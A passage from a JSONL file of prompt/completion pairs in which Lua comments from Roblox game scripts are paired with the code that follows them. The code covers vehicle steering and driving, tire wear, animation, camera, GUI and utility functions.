Child:IsA(\"Weld\") or not Child.Name == \"SeatWeld\" then\n\t\treturn\n\tend\n\tif Child.Part0 ~= Seat or not Child.Part1 or not Child.Part1.Parent then\n\t\treturn\n\tend\n\tChild.C1 = (Child.C1 * CFrame.new(0, -0.5, 0.75))\n\tlocal character = Child.Part1.Parent\n\tlocal humanoid = character:FindFirstChild(\"Humanoid\")\n\tif humanoid then\n\t\tlocal Animation = Animations.Ride\n\t\tRideTrack = humanoid:LoadAnimation(Animation.Animation)\n\t\tRideTrack:Play(Animation.FadeTime, Animation.Weight, Animation.Speed)\n\tend\n\tlocal Player = Players:GetPlayerFromCharacter(character)\n\tif not Player then\n\t\tBreakWeld()\n\t\treturn\n\tend\n\tlocal PlayerGui = Player:FindFirstChild(\"PlayerGui\")\n\tif not PlayerGui then\n\t\tBreakWeld()\n\t\treturn\n\tend\n\tInteractiveControlCopy = InteractiveControl:Clone()\n\tlocal ServerCommunication = Instance.new(\"ObjectValue\")\n\tServerCommunication.Name = \"ServerControl\"\n\tServerCommunication.Value = ServerControl\n\tServerCommunication.Parent = InteractiveControlCopy\n\tInteractiveControlCopy.Disabled = false\n\tInteractiveControlCopy.Parent = PlayerGui\n\tRider = Player\nend\n\nfunction PlayerDismounted(Child)\n\tif not Child:IsA(\"Weld\") or not Child.Name == \"SeatWeld\" or not Child.Part1 or not Child.Part1.Parent then\n\t\treturn\n\tend\n\tlocal Player = Players:GetPlayerFromCharacter(Child.Part1.Parent)\n\tif not Player or Player ~= Rider then\n\t\treturn\n\tend\n\tif InteractiveControlCopy and InteractiveControlCopy.Parent then\n\t\tInteractiveControlCopy:Destroy()\n\tend\n\tif RideTrack then\n\t\tRideTrack:Stop()\n\tend\n\tRider = nil\n\tHumanoid.WalkSpeed = DefaultSpeed\nend\n\nRunService.Heartbeat:connect(Animate)\nSeat.ChildAdded:connect(PlayerSeated)\nSeat.ChildRemoved:connect(PlayerDismounted)\n"} +{"prompt": "---Steering", "completion": "\nfunction Steering()\n\tif _MSteer then\n\t\tlocal msWidth = math.max(1,mouse.ViewSizeX*_Tune.Peripherals.MSteerWidth/200)\n\t\tlocal mdZone = _Tune.Peripherals.MSteerDZone/100\n\t\tlocal mST = ((mouse.X-mouse.ViewSizeX/2)/msWidth)\n\t\tif math.abs(mST)<=mdZone then\n\t\t\t_GSteerT = 0\n\t\telse\n\t\t\t_GSteerT = (math.max(math.min((math.abs(mST)-mdZone),(1-mdZone)),0)/(1-mdZone))^_Tune.MSteerExp * (mST / math.abs(mST))\n\t\tend\n\tend\n\tif _GSteerC < _GSteerT then\n\t\t_GSteerC = math.min(_GSteerT,_GSteerC+_Tune.SteerSpeed)\n\telse\n\t\t_GSteerC = math.max(_GSteerT,_GSteerC-_Tune.SteerSpeed)\n\tend\n\tlocal sDecay = (1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-_Tune.MinSteer))\n\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\tif v.Name==\"F\" then\n\t\t\tv.Arm.Steer.cframe=car.Wheels.F.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*_Tune.SteerInner*sDecay),0)\n\t\telseif v.Name==\"FL\" then\n\t\t\tif _GSteerC>= 0 then\n\t\t\t\tv.Arm.Steer.cframe=car.Wheels.FL.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*_Tune.SteerOuter*sDecay),0)\n\t\t\telse\n\t\t\t\tv.Arm.Steer.cframe=car.Wheels.FL.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*_Tune.SteerInner*sDecay),0)\n\t\t\tend\n\t\telseif v.Name==\"FR\" then\n\t\t\tif _GSteerC>= 0 then\n\t\t\t\tv.Arm.Steer.cframe=car.Wheels.FR.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*_Tune.SteerInner*sDecay),0)\n\t\t\telse\n\t\t\t\tv.Arm.Steer.cframe=car.Wheels.FR.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*_Tune.SteerOuter*sDecay),0)\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "--please note: this script is modified from the originals (the ones in the cars).\n--If you are looking for scripting tips and tricks, I suggest looking at one from\n--a car instead of this bike!", "completion": "\nwait(0.1)\nPlayers = game:GetService(\"Players\")\n\nseat = script.Parent-- the driving seat\ncar = seat.Parent\n\nPlayer = nil\n\nforwardsSpeed = 80--if you removed the Configuration folder, it defaults to this speed forwards\nreverseSpeed = 10--if you removed the Configuration folder, it defaults to this speed backwards\nStartTime = 1--how long (in seconds) the car should wait before starting up. This is dependant on the starting sfx\n\nengineBlock = car:FindFirstChild(\"EngineBlock\")--maybe someone doesn't like sound?\n\nlightsOn = false-- whether or not the lights turn on\ncarRunning = false--whether or not the car is running\n\nRemoteControlled = car:FindFirstChild(\"ControlByRemote\")--this is so the car turns properly\n\nfunction CalculatePitch()--this returns the pitch that the engine should be at when its travelling\n\treturn 1+engineBlock.Velocity.magnitude/100\nend\n\nConfiguration = car:FindFirstChild(\"Configuration\")-- so you can change the stats of the car\nif Configuration then-- if we found an object named Configuration in the car then do this stuff:\n\tlocal ReverseSpeedValue = Configuration:FindFirstChild(\"Reverse Speed\")-- do we have a reverse speed?\n\tif ReverseSpeedValue ~= nil then\n\t\tif type(ReverseSpeedValue.Value) == \"number\" then\n\t\t\treverseSpeed = ReverseSpeedValue.Value\n\t\tend\n\t\tReverseSpeedValue.Changed:connect(function()-- level 1 scripting: go\n\t\t\tif ReverseSpeedValue.Parent ~= nil then-- this script works, but there are some things\n\t\t\t\tif type(ReverseSpeedValue.Value) == \"number\" then-- to make it look a little better\n\t\t\t\t\treverseSpeed = ReverseSpeedValue.Value\n\t\t\t\t\tUpdateVehicle()\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\tend\n\tlocal ForwardsSpeedValue = Configuration:FindFirstChild(\"Forwards Speed\")\n\tif ForwardsSpeedValue then\n\t\tif type(ForwardsSpeedValue.Value) == \"number\" then\n\t\t\tforwardsSpeed = ForwardsSpeedValue.Value\n\t\tend\n\t\tForwardsSpeedValue.Changed:connect(function()-- level 2 scripting: go\n\t\t\tif ForwardsSpeedValue.Parent then -- asking if something 'is' is the same as \n\t\t\t\tif ForwardsSpeedValue.Value then-- asking if it is \"~= nil\"\n\t\t\t\t\tforwardsSpeed = ForwardsSpeedValue.Value\n\t\t\t\t\tUpdateVehicle()\n\t\t\t\tend\t\t\n\t\t\tend\n\t\tend)\n\tend\n\tlocal TorqueValue = Configuration:FindFirstChild(\"Torque\")\n\tif TorqueValue then\n\t\tif type(TorqueValue.Value)==\"number\" and RemoteControlled then\n\t\t\tRemoteControlled.Torque = TorqueValue.Value\n\t\tend\n\t\tTorqueValue.Changed:connect(function()\n\t\t\tif TorqueValue.Parent and type(TorqueValue.Value) == \"number\" and RemoteControlled then\n\t\t\t\tRemoteControlled.Torque = TorqueValue.Value\n\t\t\tend\n\t\tend)\n\tend\nend\n\nscript.BikeSteering.Seat.Value = seat\n\nif RemoteControlled and not RemoteControlled:IsA(\"VehicleSeat\") then-- how dare you try to disturb this ancient harmony\n\tRemoteControlled = nil-- no food 4 u!\nend\n\nseat.ChildAdded:connect(function(it)-- something was added to our seat!\n\tif it:IsA(\"Weld\") and it.Name == \"SeatWeld\" then-- is it the kind of thing players use to sit with?\n\t\tPlayer = Players:GetPlayerFromCharacter(it.Part1.Parent)-- is there a player attached to it?\n\t\tif Player then-- hooray! a player WAS attached to the seat weld. It's time to start the car!\n\t\t\tscript.BikeSteering:Clone().Parent = Player.Backpack-- for better driving\n\t\t\tif RemoteControlled then\n\t\t\t\tRemoteControlled.MaxSpeed = 0-- not yet little child\n\t\t\tend\n\t\t\tif engineBlock and engineBlock:FindFirstChild(\"Starting\") and engineBlock.Starting:IsA(\"Sound\") then\n\t\t\t\tengineBlock.Starting:Play()\n\t\t\tend\n\t\t\tif engineBlock and engineBlock:FindFirstChild(\"Stopping\") and engineBlock.Stopping:IsA(\"Sound\") then\n\t\t\t\tengineBlock.Stopping:Stop()\n\t\t\tend\n\t\t\twait(StartTime)-- just in case you use different starting sound effects\n\t\t\tif it.Parent ~= seat then-- DID OUR LOVELY PLAYER LEAVE WHILE WE WEREN'T LOOKING???????\n\t\t\t\tbyebye()--maybe they did, so it's time to shut down the car\n\t\t\telse-- they didn't leave!\n\t\t\t\tlightsOn = true-- turn on the lights\n\t\t\t\tcarRunning = true-- turn on the car\n\t\t\t\tupdatelights()-- make sure we turn on the lights\n\t\t\t\tUpdateVehicle()-- maybe they're in a hurry, so we better check if they have their foot on the gas\n\t\t\t\tif engineBlock and engineBlock:FindFirstChild(\"Running\") and engineBlock.Running:IsA(\"Sound\") then\n\t\t\t\t\tengineBlock.Running:Play()\n\t\t\t\t\tengineBlock.Running.Pitch = CalculatePitch()\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend)\n\nseat.ChildRemoved:connect(function(it)--did an object get removed?\n\tif it:isA(\"Weld\") and it.Name == \"SeatWeld\" then-- if it's a weld and named like a seat weld\n\t\tbyebye()-- time to shut down the car\n\tend\nend)\n\nfunction byebye()\n\tif engineBlock and carRunning then-- remember scripting level 3? that applies to below:\n\t\tif engineBlock and engineBlock:FindFirstChild(\"Stopping\") and engineBlock.Stopping:IsA(\"Sound\") then\n\t\t\tengineBlock.Stopping:Play()-- where if it didn't do it like that, the above would error!\n\t\t\twait(0.1)\t\t\t\t\t-- because engineBlock.Stopping would not exist, so :IsA() is\n\t\tend\t\t\t\t\t\t\t\t-- \"not a valid member\"\n\t\tif engineBlock and engineBlock:FindFirstChild(\"Running\") and engineBlock.Running:IsA(\"Sound\") then\n\t\t\tengineBlock.Running:Stop()-- WE MUST NOT STOP\n\t\tend\n\t\tif engineBlock and engineBlock:FindFirstChild(\"Starting\") and engineBlock.Starting:IsA(\"Sound\") then\n\t\t\tengineBlock.Starting:Stop()-- THIS SCRIPT IS BREAK-PROOF >:U\n\t\tend\n\tend\n\tif RemoteControlled then\n\t\tRemoteControlled.MaxSpeed = 0--make sure that the car doesn't drive off without us\n\tend\n\tcarRunning = false\n\tlightsOn = false\n\tupdatelights()--turn the lights off\n\tUpdateVehicle()--make sure the car stops now that it's off\nend\n\nRearLight = {}--all the brake lights. These contain one SpotLight that gets manipulated\nRearBulb = {}--the brake lights that use a Surface GUI to light up\nFrontLight = {}--same as the RearLight but for the front\nFrontBulb = {}--same as the RearBulb but for the front\nReverseLight = {}--These light up when you reverse\nReverseBulb = {}--these also light up when you reverse: SurfaceGui style\n\nfor _, i in pairs (car:GetChildren()) do--populate the tables for ease of modularity.\n\tif i.Name == \"RearBulb\" then-- you can have any number of these items you want\n\t\ttable.insert(RearBulb,i)-- and you don't have to change the script one bit!\n\telseif i.Name == \"RearLight\" then\n\t\ttable.insert(RearLight,i.SpotLight)\n\telseif i.Name == \"FrontLight\" then\n\t\ttable.insert(FrontLight,i.SpotLight)\n\telseif i.Name == \"ReverseLight\" then\n\t\ttable.insert(ReverseLight,i.SpotLight)\n\telseif i.Name == \"FrontBulb\" then\n\t\ttable.insert(FrontBulb,i)\n\telseif i.Name == \"ReverseBulb\" then\n\t\ttable.insert(ReverseBulb,i)\n\tend\nend\n\nfunction updatelights()-- this turns the lights on and off based on the lightsOn value\n\tfor _,i in pairs (RearLight) do\n\t\ti.Enabled = lightsOn\n\tend\n\tfor _,i in pairs (FrontLight) do\n\t\ti.Enabled = lightsOn\n\tend\n\tfor _,i in pairs (FrontBulb) do\n\t\tSurfaceGuiStandard(i,lightsOn)\n\tend\n\tfor _,g in pairs (RearBulb) do\n\t\tSurfaceGuiBrightness(g,lightsOn,seat.Throttle == 0)\n\tend\nend\n\nfunction CreateStabilizer()\n\tif car:FindFirstChild(\"Stabilizer\") then\n\t\tcar.Stabilizer:Destroy()\n\tend\n\tif car:FindFirstChild(\"LeftHelper\") then\n\t\tlocal stabilizer = Instance.new(\"Part\",car)\n\t\tstabilizer.CanCollide = false--the bike not working was because I forgot this!\n\t\tstabilizer.BottomSurface = \"Smooth\"\n\t\tstabilizer.TopSurface = \"Smooth\"\n\t\tstabilizer.FormFactor = \"Custom\"\n\t\tstabilizer.Size = Vector3.new(3,3,1)\n\t\tstabilizer.Transparency = 1\n\t\tstabilizer.Name = \"Stabilizer\"\n\t\tstabilizer.CFrame = car.LeftHelper.CFrame*CFrame.new(0,0,1)\n\t\tlocal Hinge = Instance.new(\"Rotate\",stabilizer)--mega hax!\n\t\tHinge.C0 = CFrame.new()\n\t\tHinge.C1 = CFrame.new(0,0,-1)\n\t\tHinge.Part0 = car.LeftHelper\n\t\tHinge.Part1 = stabilizer\n\t\tlocal gyro = Instance.new(\"BodyGyro\",stabilizer)\n\t\tgyro.D = 700\n\t\tgyro.maxTorque = Vector3.new(600000, 0, 600000)\n\t\tgyro.P = 30000\n\t\tgyro.cframe = CFrame.new()*CFrame.Angles(math.pi,math.pi/2,0)\n\tend\nend\n\nflippingDebounce = false-- a debounce is a simple way of preventing a function from\n\t\t\t\t\t\t-- being called multiple times while it's still running\nfunction Flip()\n\tif not flippingDebounce then-- here's how it works: the function checks if the debounce is off\n\t\tflippingDebounce = true-- if it's on, then the function stops, but if it's off, set it to true\n\t\tlocal bodypos = Instance.new(\"BodyPosition\",seat)-- so we get uninterupted function fun\n\t\tbodypos.maxForce = Vector3.new(100000,10000000,100000)\n\t\tbodypos.position = seat.Position + Vector3.new(0,2,0)\n\t\tlocal bodygyro = Instance.new(\"BodyGyro\",seat)\n\t\tgame:GetService(\"Debris\"):AddItem(bodypos, 3)-- this makes sure that the flippy bit\n\t\tgame:GetService(\"Debris\"):AddItem(bodygyro, 3)-- deletes itself automatically\n\t\twait(2)\n\t\tCreateStabilizer()\n\t\twait(1)\n\t\tflippingDebounce = false-- when we are done with our fun, allow the function to work again\n\tend\nend\n\nfunction SurfaceGuiStandard(part,on)-- this makes it so the lights turn on or off\n\tfor _,i in pairs (part:GetChildren()) do\n\t\tif i:IsA(\"SurfaceGui\") then\n\t\t\ti.Enabled = on\n\t\tend\n\tend\nend\n\nfunction SurfaceGuiBrightness(part,on,bright)-- this is so the brake lights dim when we drive\n\tfor _,i in pairs (part:GetChildren()) do\n\t\tif i:IsA(\"SurfaceGui\") then\n\t\t\ti.Enabled = on\n\t\t\tif i:FindFirstChild(\"Frame\") and i.Frame:IsA(\"Frame\") then\n\t\t\t\ti.Frame.Transparency = bright and 0 or 0.5-- scripting level 4: go\n\t\t\tend-- for simple statements, you can have a boolean value decide between 2 values\n\t\t\t-- which is the same as writing\t\n\t\t\t-- \"if bright then\n\t\t\t--\t\ti.Frame.Transparency = 0\n\t\t\t--\telse\n\t\t\t--\t\ti.Frame.Transparency = 0.5\n\t\t\t-- end\"\n\t\t\t--but instead of \"then\" and \"else\", you use \"and\" and \"or\"\n\t\tend\n\tend\nend\n\nhornDebounce = false\nfunction Honk()-- if you are reading this then congratulations! you win a prize!\n\tif hornDebounce then return end-- unfortunately, I could not think of a way\n\tif engineBlock and engineBlock:FindFirstChild(\"Horn\") and engineBlock.Horn:IsA(\"Sound\") then\n\t\thornDebounce = true-- to allow people to be able to honk the horn for both PC and mobile\n\t\tengineBlock.horn:Play()\t-- in an unobtrusive way. Sorry! :(\n\t\tprint(\"beep beep\") -- UristMcSparks, the guy in charge of the toolbox, doesn't want print statements\n\t\twait(0.5)-- but since this is a secret, lets keep it between you and me, OK?\n\t\tengineBlock.horn:Stop()\n\t\thornDebounce = false\n\tend\nend\n\nfunction UpdateVehicle()-- this is for the brake lights and speed and stuff like that\n\tif seat.Throttle == 1 and carRunning then-- if we're going forwards\n\t\tseat.MaxSpeed = forwardsSpeed-- give it forwards speed\n\telseif seat.Throttle == -1 and carRunning then-- if we're going backwards\n\t\tseat.MaxSpeed = reverseSpeed-- give it backwards speed\n\telse\n\t\tseat.MaxSpeed = 0 -- otherwise, give it 0 speed\n\tend\n\tif workspace.FilteringEnabled and RemoteControlled then--the idea from scripting level 2 applies to false as well\n\t\tRemoteControlled.Throttle = seat.Throttle-- that is, it also works for \"~= false\"\n\tend-- the reason this line exists is to prevent the server from doing something the client\n\t-- is already doing.\n\tfor _,h in pairs (ReverseLight) do-- all these loops below are just updating the lights\n\t\th.Enabled = lightsOn and seat.Throttle == -1\n\tend\n\tfor _,i in pairs (ReverseBulb) do\n\t\tSurfaceGuiStandard(i,lightsOn and seat.Throttle == -1)\n\tend\n\tfor _,j in pairs (RearLight) do\n\t\tj.Brightness = 4-math.abs(seat.Throttle)*3\n\tend\n\tfor _,k in pairs (RearBulb) do\n\t\tSurfaceGuiBrightness(k,lightsOn,seat.Throttle == 0)\n\tend\nend\n\nseat.Changed:connect(UpdateVehicle)-- this is so that when someone drives the car\n\t\t\t\t\t\t\t\t -- the brake and reverse lights change\n\t\t\t\t\t\t\t\t -- and the speed of the car changes\nCreateStabilizer()\n\nwhile true do\n\tfor i = 1, 60 do--60/30 == 2, 2 seconds between deciding if it's upside down\n\t\twait()-- we want the steering and sfx to update as many times a second as we can\n\t\tif workspace.FilteringEnabled then\n\t\t\tif car:FindFirstChild(\"LeftMotor\") then\n\t\t\t\tcar.LeftMotor.DesiredAngle = seat.Steer*math.rad(20-seat.Velocity.magnitude/10)\n\t\t\tend\n\t\t\tif car:FindFirstChild(\"RightMotor\") then\n\t\t\t\tcar.RightMotor.DesiredAngle = seat.Steer*math.rad(20-seat.Velocity.magnitude/10)\n\t\t\tend\n\t\tend\n\t\t-- below: make sure there's a sound to play\n\t\tif carRunning and engineBlock and engineBlock:FindFirstChild(\"Running\") and engineBlock.Running:IsA(\"Sound\") then\n\t\t\tengineBlock.Running.Pitch = CalculatePitch()-- and make sure that the car is on before trying\n\t\t\t\t\t\t\t\t\t\t\t\t-- to make sure the engine sounds good\n\t\tend\n\tend\n\tif car:FindFirstChild(\"Stabilizer\") and car:FindFirstChild(\"LeftHelper\") then\n\t\tif car.Stabilizer.CFrame.lookVector:Dot(car.LeftHelper.CFrame.lookVector) < 0.85 then\n\t\t\tCreateStabilizer()\n\t\tend \n\telseif car:FindFirstChild(\"LeftHelper\") then\n\t\tCreateStabilizer()\n\tend\n\tif not flippingDebounce and (seat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector.Y < 0.2 then--am I upside down?\n\t\tSpawn(Flip)--flip the bike right side up\n\t\t\n\t\t-- as a fun experiment, see what happens if you replace \"Spawn(Flip)\" with \"Flip()\"\n\t\t-- and see what the difference is when you drive the car off the baseplate\n\t\t-- if you did it right, you'll notice that the engine sound changes differently!\n\tend\nend\n"} +{"prompt": "--[=[\n\t@within TableUtil\n\t@function Reverse\n\t@param tbl table\n\t@return table\n\n\tReverses the array.\n\n\t```lua\n\tlocal t = {1, 5, 10}\n\tlocal tReverse = TableUtil.Reverse(t)\n\tprint(tReverse) --> {10, 5, 1}\n\t```\n\n\t:::note Arrays only\n\tThis function works on arrays, but not dictionaries.\n]=]", "completion": "\nlocal function Reverse(tbl: { T }): { T }\n\tlocal n = #tbl\n\tlocal tblRev = table.create(n)\n\tfor i = 1, n do\n\t\ttblRev[i] = tbl[n - i + 1]\n\tend\n\treturn tblRev\nend\n"} +{"prompt": "--CODE RUN", "completion": "\nlocal t = 0\ntimeNeeded = 0\n\nUpdatePositions()\n\nlocal AnimatingBind = game[\"Run Service\"].Stepped:Connect(function(totalTime, step)\n\t\n\tt = t + (step * origin.Speed.Value)\n\tlocal alpha\n\tif timeNeeded == 0 then\n\t\talpha = 1\n\telse\n\t\talpha = math.min(1, t / math.max(.001,timeNeeded))\n\tend\n\t \n\t\n\tfor limb, position in pairs(desiredPositions) do\n\t\tlimb.Transform = lastPositions[limb]:lerp(desiredPositions[limb], alpha)\n\t\tif alpha == 1 then\n\t\t\tlastPositions[limb] = desiredPositions[limb]\n\t\tend\n\tend\n\t\n\tif alpha == 1 then\n\t\tKFNumber = KFNumber + 1\n\t\tif KFNumber > maxKFNumber then\n\t\t\tif KeyframeAnimation.Loop then\n\t\t\t\t--ResetJoints()\n\t\t\t\tKFNumber = 1\n\t\t\telse\n\t\t\t\tResetJoints()\n\t\t\t\tscript:Destroy()\n\t\t\tend\n\t\tend\n\t\t\n\t\tUpdatePositions()\n\t\tt = 0\n\tend\n\t\nend)"} +{"prompt": "-- Connecter les \u00e9v\u00e9nements PlayerAdded et PlayerRemoving pour g\u00e9rer l'affichage du GUI", "completion": "\ngame.Players.PlayerAdded:Connect(showGUI)\ngame.Players.PlayerRemoving:Connect(hideGUI)\n"} +{"prompt": "-- Style Options", "completion": "\n\nFlat=true;\t\t\t\t\t\t-- Enables Flat theme / Disables Aero theme\nForcedColor=false;\t\t\t\t-- Forces everyone to have set color & transparency\nColor=Color3.new(0,0,0);\t\t-- Changes the Color of the user interface\nColorTransparency=.75;\t\t\t-- Changes the Transparency of the user interface\nChat=false;\t\t\t\t\t\t-- Enables the custom chat\nBubbleChat=false;\t\t\t\t-- Enables the custom bubble chat\n"} +{"prompt": "--[=[\n\t@function Rotate\n\t@within ColourUtils\n\n\t@param colour Color3 -- The colour to rotate.\n\t@param angle number -- The angle to rotate by.\n\t@return Color3 -- The rotated colour.\n]=]", "completion": "\nreturn function(colour: Color3, angle: number): Color3\n\tassertTypeOf(\"colour\", \"Color3\", colour)\n\tassertTypeOf(\"angle\", \"number\", angle)\n\n\tlocal hue, sat, val = colour:ToHSV()\n\tlocal newHue = clamp((hue + (angle / 360)) % 1, 0, 1)\n\n\tlocal newColour = Color3.fromHSV(newHue, sat, val)\n\n\treturn clampColour(newColour)\nend\n"} +{"prompt": "--Runtime Loop", "completion": "\nwhile wait() do\n\tfor i,v in pairs(Wheels) do\n\t\t--Vars\n\t\tlocal speed = car.DriveSeat.Velocity.Magnitude\n\t\tlocal wheel = v.wheel.RotVelocity.Magnitude\n\t\tlocal z = 0\t\t\n\t\tlocal deg = 0.000126\n\t\t\n\t\t--Tire Wear\n\t\tlocal cspeed = (speed/1.298)*(2.6/v.wheel.Size.Y) \n\t\tlocal wdif = math.abs(wheel-cspeed)\n\t\tif _WHEELTUNE.TireWearOn then\n\t\t\tif speed < 4 then\n\t\t\t\t--Wear Regen\n\t\t\t\tv.Heat = math.min(v.Heat + _WHEELTUNE.RegenSpeed/10000,v.BaseHeat)\n\t\t\telse\n\t\t\t\t--Tire Wear\n\t\t\t\tif wdif > 1 then\n\t\t\t\t\tv.Heat = v.Heat - wdif*deg*v.WearSpeed/28\n\t\t\t\telseif v.Heat >= v.BaseHeat then\n\t\t\t\t\tv.Heat = v.BaseHeat\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\t--Apply Friction\n\t\tif v.wheel.Name == \"FL\" or v.wheel.Name == \"FR\" or v.wheel.Name == \"F\" then\n\t\t\tz = _WHEELTUNE.FMinFriction+v.Heat\n\t\t\tdeg = ((deg - 0.0001188*cValues.Brake.Value)*(1-math.abs(cValues.SteerC.Value))) + 0.00000126*math.abs(cValues.SteerC.Value)\n\t\telse\n\t\t\tz = _WHEELTUNE.RMinFriction+v.Heat\n\t\tend\n\t\t\n\t\t--Tire Slip\n\t\tif math.ceil((wheel/0.774/speed)*100) < 8 then\n\t\t\t--Lock Slip\n\t\t\tv.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z*_WHEELTUNE.WheelLockRatio,v.elast,v.fWeight,v.eWeight)\n\t\t\tv.Heat = math.max(v.Heat,0)\n\t\telseif (_Tune.TCSEnabled and cValues.TCS.Value == false and math.ceil((wheel/0.774/speed)*100) > 80) then\n\t\t\t--TCS Off\n\t\t\tv.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z*_WHEELTUNE.TCSOffRatio,v.elast,v.fWeight,v.eWeight)\n\t\t\tv.Heat = math.max(v.Heat,0)\n\t\telseif math.ceil((wheel/0.774/speed)*100) > 130 then\n\t\t\t--Wheelspin\n\t\t\tv.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z*_WHEELTUNE.WheelspinRatio,v.elast,v.fWeight,v.eWeight)\t\t\n\t\t\tv.Heat = math.max(v.Heat,0)\n\t\telse\n\t\t\t--No Slip\n\t\t\tv.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z,v.elast,v.fWeight,v.eWeight)\n\t\t\tv.Heat = math.min(v.Heat,v.BaseHeat)\n\t\tend \n\t\t\n\t\t--Update UI\n\t\tlocal vstress = math.abs(((((wdif+cspeed)/0.774)*0.774)-cspeed)/15)\n\t\tif vstress > 0.05 and vstress > v.stress then \n\t\t\tv.stress = math.min(v.stress + 0.03,1)\n\t\telse\n\t\t\tv.stress = math.max(v.stress - 0.03,vstress)\t\n\t\tend\n\t\tlocal UI = script.Parent.Tires[v.wheel.Name]\n\t\tUI.First.Second.Image.ImageColor3 = Color3.new(math.min((v.stress*2),1), 1-v.stress, 0)\n\t\tUI.First.Position = UDim2.new(0,0,1-v.Heat/v.BaseHeat,0)\n\t\tUI.First.Second.Position = UDim2.new(0,0,v.Heat/v.BaseHeat,0)\n\tend\nend\n"} +{"prompt": "--[[\n\tCameraModule - This ModuleScript implements a singleton class to manage the\n\tselection, activation, and deactivation of the current camera controller,\n\tcharacter occlusion controller, and transparency controller. This script binds to\n\tRenderStepped at Camera priority and calls the Update() methods on the active\n\tcontroller instances.\n\n\tThe camera controller ModuleScripts implement classes which are instantiated and\n\tactivated as-needed, they are no longer all instantiated up front as they were in\n\tthe previous generation of PlayerScripts.\n\n\t2018 PlayerScripts Update - AllYourBlox\n--]]", "completion": "\n\nlocal CameraModule = {}\nCameraModule.__index = CameraModule\n\nlocal FFlagUserRemoveTheCameraApi do\n\tlocal success, result = pcall(function()\n\t\treturn UserSettings():IsUserFeatureEnabled(\"UserRemoveTheCameraApi\")\n\tend)\n\tFFlagUserRemoveTheCameraApi = success and result\nend\n\nlocal FFlagUserFixCameraSelectModuleWarning do\n\tlocal success, result = pcall(function()\n\t\treturn UserSettings():IsUserFeatureEnabled(\"UserFixCameraSelectModuleWarning\")\n\tend)\n\tFFlagUserFixCameraSelectModuleWarning = success and result\nend\n"} +{"prompt": "--[[ FUNCTIONS ]]", "completion": "--\n\nOpenButton.MouseButton1Click:Connect(function()\n\tFrame.Visible = true\n\tOpenButton.Visible = false\nend)\n\nCloseButton.MouseButton1Click:Connect(function()\n\tFrame.Visible = false\n\tOpenButton.Visible = true\nend)\n"} +{"prompt": "--strategy that you jump (when you can run away in a straight line) while opponent's lunge is down", "completion": "\n"} +{"prompt": "--\t\tprint(\"Loading anims \" .. name)", "completion": "\n\t\ttable.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))\n\t\ttable.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))\n\t\tlocal idx = 1\n\t\tfor _, childPart in pairs(config:GetChildren()) do\n\t\t\tif (childPart:IsA(\"Animation\")) then\n\t\t\t\ttable.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))\n\t\t\t\tanimTable[name][idx] = {}\n\t\t\t\tanimTable[name][idx].anim = childPart\n\t\t\t\tlocal weightObject = childPart:FindFirstChild(\"Weight\")\n\t\t\t\tif (weightObject == nil) then\n\t\t\t\t\tanimTable[name][idx].weight = 1\n\t\t\t\telse\n\t\t\t\t\tanimTable[name][idx].weight = weightObject.Value\n\t\t\t\tend\n\t\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight\n\t--\t\t\tprint(name .. \" [\" .. idx .. \"] \" .. animTable[name][idx].anim.AnimationId .. \" (\" .. animTable[name][idx].weight .. \")\")\n\t\t\t\tidx = idx + 1\n\t\t\tend\n\t\tend\n\tend\n\n\t-- fallback to defaults\n\tif (animTable[name].count <= 0) then\n\t\tfor idx, anim in pairs(fileList) do\n\t\t\tanimTable[name][idx] = {}\n\t\t\tanimTable[name][idx].anim = Instance.new(\"Animation\")\n\t\t\tanimTable[name][idx].anim.Name = name\n\t\t\tanimTable[name][idx].anim.AnimationId = anim.id\n\t\t\tanimTable[name][idx].weight = anim.weight\n\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + anim.weight"} +{"prompt": "--// Ammo Settings\t\t\t", "completion": "\n\tAmmo = 30;\n\tStoredAmmo = 30;\n\tMagCount = 6; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge;\n\tExplosiveAmmo = 3;\n\t"} +{"prompt": "-- local UserInputService = game:GetService(\"UserInputService\")", "completion": "\n"} +{"prompt": "-- Comprueba si se encontr\u00f3 el sonido", "completion": "\nif sound then\n\t-- Reproduce el sonido\n\tsound:Play()\nelse\n\twarn(\"El sonido 'hyperx' no se encontr\u00f3 en SoundService.\")\nend\n"} +{"prompt": "-- drag", "completion": "\ndo\n\tlocal delta, old_mouse_position = UDim2.fromOffset(0, 0), nil\n\n\tuser_input_service.InputBegan:Connect(function(input, processing)\n\t\tif (in_container and (not drag_connection or not drag_connection.Connected) and not processing and input.UserInputType == Enum.UserInputType.MouseButton1) then\n\t\t\told_mouse_position = UDim2.fromOffset(mouse.X, mouse.Y)\n\n\t\t\tdrag_connection = run_service.RenderStepped:Connect(function()\n\t\t\t\tdelta = old_mouse_position - UDim2.fromOffset(mouse.X, mouse.Y)\n\n\t\t\t\tcontainer.Position = container.Position - delta\n\t\t\t\told_mouse_position = UDim2.fromOffset(mouse.X, mouse.Y)\n\t\t\tend)\n\t\tend\n\tend)\n\n\tuser_input_service.InputEnded:Connect(function(input)\n\t\tif (drag_connection and drag_connection.Connected and input.UserInputType == Enum.UserInputType.MouseButton1) 